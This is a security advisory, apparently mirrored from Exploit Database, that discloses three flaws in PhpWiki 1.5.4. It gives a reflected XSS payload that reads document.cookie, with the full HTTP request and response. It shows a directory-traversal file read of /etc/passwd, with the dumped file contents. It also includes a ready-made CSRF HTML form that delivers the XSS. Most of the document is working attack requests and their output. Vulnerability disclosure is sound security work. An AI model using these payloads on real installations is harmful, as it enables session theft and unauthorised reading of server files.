PhpWiki 1.5.4 – Multiple Vulnerabilities

• Exploit Database
• 19 阅读

• 作者： smash
  日期： 2015-08-31
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/38027/

• # Title: phpwiki 1.5.4 - Cross Site Scripting / Local File Inclusion
  # Date: 29.08.15
  # Vendor: sourceforge.net/projects/phpwiki/
  # Affected versions: => 1.5.4 (current)
  # Tested on: Apache2.2 / PHP5 / Deb32
  # Author: Smash_
  # Contact: smash [at] devilteam.pl
  
  
  1/ Cross Site Scripting
  
  Cross-site scripting vulnerability in user preferences allows remote unauthenticated users to inject arbitrary web script by injecting code via GET or POST 'pagename' parameter. 
  
  Example url:
  http://192.168.0.10/phpwiki/index.php?pagename=%3C%2Fscript%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E%3C!--
  
  Example request:
  POST /phpwiki/index.php/UserPreferences HTTP/1.1
  Host: 192.168.0.10
  User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  Accept-Language: pl,en-US;q=0.7,en;q=0.3
  Accept-Encoding: gzip, deflate
  Cookie: folder_p-tbx=Open; PHPSESSID=3ko4uprjgmnjtmfkes3dnh0gk4; PhpWiki_WIKI_ID=admin
  Connection: keep-alive
  Content-Type: application/x-www-form-urlencoded
  Content-Length: 260
  
  pref%5Bemail%5D=&pref%5BnotifyPages%5D=&pref%5Btheme%5D=&pref%5Blang%5D=&pref%5BeditHeight%5D=22&pref%5BeditWidth%5D=80&pref%5BtimeOffset%5D=0&pagename=UserPreferencesabc%3C%2Fscript%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E%3C%21--&action=browse
  
  Example response:
  HTTP/1.1 200 OK
  Date: Sat, 29 Aug 2015 21:30:47 GMT
  Server: Apache/2.2.22 (Debian)
  X-Powered-By: PHP/5.4.41-0+deb7u1
  Vary: Accept-Encoding
  Content-Length: 16114
  Keep-Alive: timeout=5, max=100
  Connection: Keep-Alive
  Content-Type: text/html
  (...)
  <script type="text/javascript">
  <!--//
  var rateit_imgsrc = '/phpwiki/themes/wikilens/images/RateIt';
  var rateit_action = 'RateIt';
  // --></script>
  <script type="text/javascript">
  <!--//
  var data_path = '/phpwiki';
  var pagename= 'UserPreferencesabc</script><script>alert(document.cookie)</script><!--';
  var script_url= '/phpwiki/index.php';
  var stylepath = data_path+'/themes/Sidebar/';
  var folderArrowPath = '/phpwiki/themes/default/images';
  var use_path_info = true;
  // --></script>
  </head>
  (...)
  
  
  2/ Local File Inclusion
  
  Directory traversal vulnerability in file load section allows authenticated attackers to read arbitrary files via POST or GET 'source' parameter. Content of file will be later available in created page.
  
  Example url:
  http://192.168.0.10/phpwiki/index.php/PhpWikiAdministration?action=loadfile&overwrite=1&source=/etc/group
  
  #1 - Example request:
  POST /phpwiki/index.php/PhpWikiAdministration HTTP/1.1
  Host: 192.168.0.10
  User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  Accept-Language: pl,en-US;q=0.7,en;q=0.3
  Accept-Encoding: gzip, deflate
  Referer: http://192.168.0.10/phpwiki/index.php/PhpWikiAdministration
  Cookie: folder_p-tbx=Open; folder_p-tbx=Open; PhpWiki_WIKI_ID=admin; PHPSESSID=643k8jmar8jielfn3metobp625
  Connection: keep-alive
  Content-Type: application/x-www-form-urlencoded
  Content-Length: 76
  
  action=loadfile&overwrite=&pagename=PhpWikiAdministration&source=/etc/passwd
  
  #1 - Example response:
  HTTP/1.1 200 OK
  Date: Sat, 29 Aug 2015 22:09:36 GMT
  Server: Apache/2.2.22 (Debian)
  X-Powered-By: PHP/5.4.41-0+deb7u1
  Vary: Accept-Encoding
  Keep-Alive: timeout=5, max=100
  Connection: Keep-Alive
  Content-Type: text/html
  Content-Length: 3534
  (...)
  <a id="contentTop"></a>
  <h1 class="firstHeading">Loading “/etc/passwd”</h1>
  <div id="bodyContent">
  <em><a href="https://www.exploit-db.com/exploits/38027/passwd" class="wiki">passwd</a></em><span> from “plain file /etc/passwd” content is identical to current version 1 - no new revision created</span><p><strong>Complete.</strong></p>
  <p>Return to <a href="https://www.exploit-db.com/exploits/38027/PhpWikiAdministration" class="wiki">PhpWikiAdministration</a></p>
  (...)
  
  #2 - Example request:
  GET /phpwiki/index.php/passwd HTTP/1.1
  Host: 192.168.0.10
  User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  Accept-Language: pl,en-US;q=0.7,en;q=0.3
  Accept-Encoding: gzip, deflate
  Referer: http://192.168.0.10/phpwiki/index.php/PhpWikiAdministration
  Cookie: folder_p-tbx=Open; PhpWiki_WIKI_ID=admin; PHPSESSID=643k8jmar8jielfn3metobp625
  Connection: keep-alive
  
  #2 - Example response:
  HTTP/1.1 200 OK
  Date: Sat, 29 Aug 2015 22:10:34 GMT
  Server: Apache/2.2.22 (Debian)
  X-Powered-By: PHP/5.4.41-0+deb7u1
  ETag: W/"97df6cb9b2668497eb1a804ab9c18eb8"
  Last-Modified: Sat, 29 Aug 2015 22:09:55 GMT
  Cache-Control: must-revalidate
  Expires: Sat, 29 Aug 2015 22:10:14 GMT
  Vary: Cookie
  Keep-Alive: timeout=5, max=100
  Connection: Keep-Alive
  Content-Type: text/html
  Content-Length: 22599
  (...)
  
  <div class="wikitext"><p>root:x:0:0:root:/root:/bin/bash
  daemon:x:1:1:daemon:/usr/sbin:/bin/sh
  bin:x:2:2:bin:/bin:/bin/sh
  sys:x:3:3:sys:/dev:/bin/sh
  sync:x:4:65534:sync:/bin:/bin/sync
  games:x:5:60:games:/usr/games:/bin/sh
  man:x:6:12:man:/var/cache/man:/bin/sh
  lp:x:7:7:lp:/var/spool/lpd:/bin/sh
  mail:x:8:8:mail:/var/mail:/bin/sh
  <a href="news:x:9:9:news:/var/spool/news:/bin/sh" target="_blank" class="namedurl"><span style="white-space: nowrap"><img src="https://www.exploit-db.com/phpwiki/themes/Sidebar/images/url.png" alt="" class="linkicon" />news:x:9:9:news:/var/spool/news:/bin/sh</span></a>
  uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
  proxy:x:13:13:proxy:/bin:/bin/sh
  www-data:x:33:33:www-data:/var/www:/bin/sh
  backup:x:34:34:backup:/var/backups:/bin/sh
  list:x:38:38:Mailing List Manager:/var/list:/bin/sh
  irc:x:39:39:ircd:/var/run/ircd:/bin/sh
  gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
  nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
  libuuid:x:100:101::/var/lib/libuuid:/bin/sh
  mysql:x:101:103:MySQL Server<sub>,:/nonexistent:/bin/false
  messagebus:x:102:106::/var/run/dbus:/bin/false
  colord:x:103:107:colord colour management daemon</sub>,:/var/lib/colord:/bin/false
  usbmux:x:104:46:usbmux daemon<sub>,:/home/usbmux:/bin/false
  miredo:x:105:65534::/var/run/miredo:/bin/false
  ntp:x:106:113::/home/ntp:/bin/false
  Debian-exim:x:107:114::/var/spool/exim4:/bin/false
  arpwatch:x:108:117:ARP Watcher</sub>,:/var/lib/arpwatch:/bin/sh
  avahi:x:109:118:Avahi mDNS daemon<sub>,:/var/run/avahi-daemon:/bin/false
  beef-xss:x:110:119::/var/lib/beef-xss:/bin/false
  dradis:x:111:121::/var/lib/dradis:/bin/false
  pulse:x:112:122:<span style="text-decoration: underline" class="wikiunknown"><span>PulseAudio</span><a href="https://www.exploit-db.com/exploits/38027/PulseAudio?action=create" title="Create: PulseAudio" onmouseover="window.status="Create: PulseAudio"; return true;" onmouseout="window.status='';return true;" rel="nofollow">?</a></span> daemon</sub>,:/var/run/pulse:/bin/false
  speech-dispatcher:x:113:29:Speech Dispatcher<sub>,:/var/run/speech-dispatcher:/bin/sh
  haldaemon:x:114:124:Hardware abstraction layer</sub>,:/var/run/hald:/bin/false
  iodine:x:115:65534::/var/run/iodine:/bin/false
  postgres:x:116:127:PostgreSQL administrator<sub>,:/var/lib/postgresql:/bin/bash
  sshd:x:117:65534::/var/run/sshd:/usr/sbin/nologin
  redsocks:x:118:128::/var/run/redsocks:/bin/false
  snmp:x:119:129::/var/lib/snmp:/bin/false
  stunnel4:x:120:130::/var/run/stunnel4:/bin/false
  statd:x:121:65534::/var/lib/nfs:/bin/false
  sslh:x:122:133::/nonexistent:/bin/false
  Debian-gdm:x:123:134:Gnome Display Manager:/var/lib/gdm3:/bin/false
  rtkit:x:124:136:<span style="text-decoration: underline" class="wikiunknown"><span>RealtimeKit</span><a href="https://www.exploit-db.com/exploits/38027/RealtimeKit?action=create" title="Create: RealtimeKit" onmouseover="window.status="Create: RealtimeKit"; return true;" onmouseout="window.status='';return true;" rel="nofollow">?</a></span></sub>,:/proc:/bin/false
  saned:x:125:137::/home/saned:/bin/false
  devil:x:1000:1001:devil<sub>,:/home/devil:/bin/bash
  debian-tor:x:126:138::/var/lib/tor:/bin/false
  privoxy:x:127:65534::/etc/privoxy:/bin/false
  redis:x:128:139:redis server</sub>,:/var/lib/redis:/bin/false</p>
  </div>
  (...)
  
  
  3/ Cross Site Request Forgery
  
  Since there is no csrf protection in application, remote attacker is able to trigger specific actions.
  
  PoC:
  <html>
  <!-- Change settings / XSS -->
  <body>
  <form action="http://192.168.0.10/phpwiki/index.php/UserPreferences" method="POST">
  <input type="hidden" name="pref&#91;email&#93;" value="" />
  <input type="hidden" name="pref&#91;notifyPages&#93;" value="" />
  <input type="hidden" name="pref&#91;theme&#93;" value="" />
  <input type="hidden" name="pref&#91;lang&#93;" value="" />
  <input type="hidden" name="pref&#91;editHeight&#93;" value="22" />
  <input type="hidden" name="pref&#91;editWidth&#93;" value="80" />
  <input type="hidden" name="pref&#91;timeOffset&#93;" value="0" />
  <input type="hidden" name="pagename" value="UserPreferencesabc<&#47;script><script>alert&#40;document&#46;cookie&#41;<&#47;script><&#33;&#45;&#45;" />
  <input type="hidden" name="action" value="browse" />
  <input type="submit" value="Go" />
  </form>
  </body>
  </html>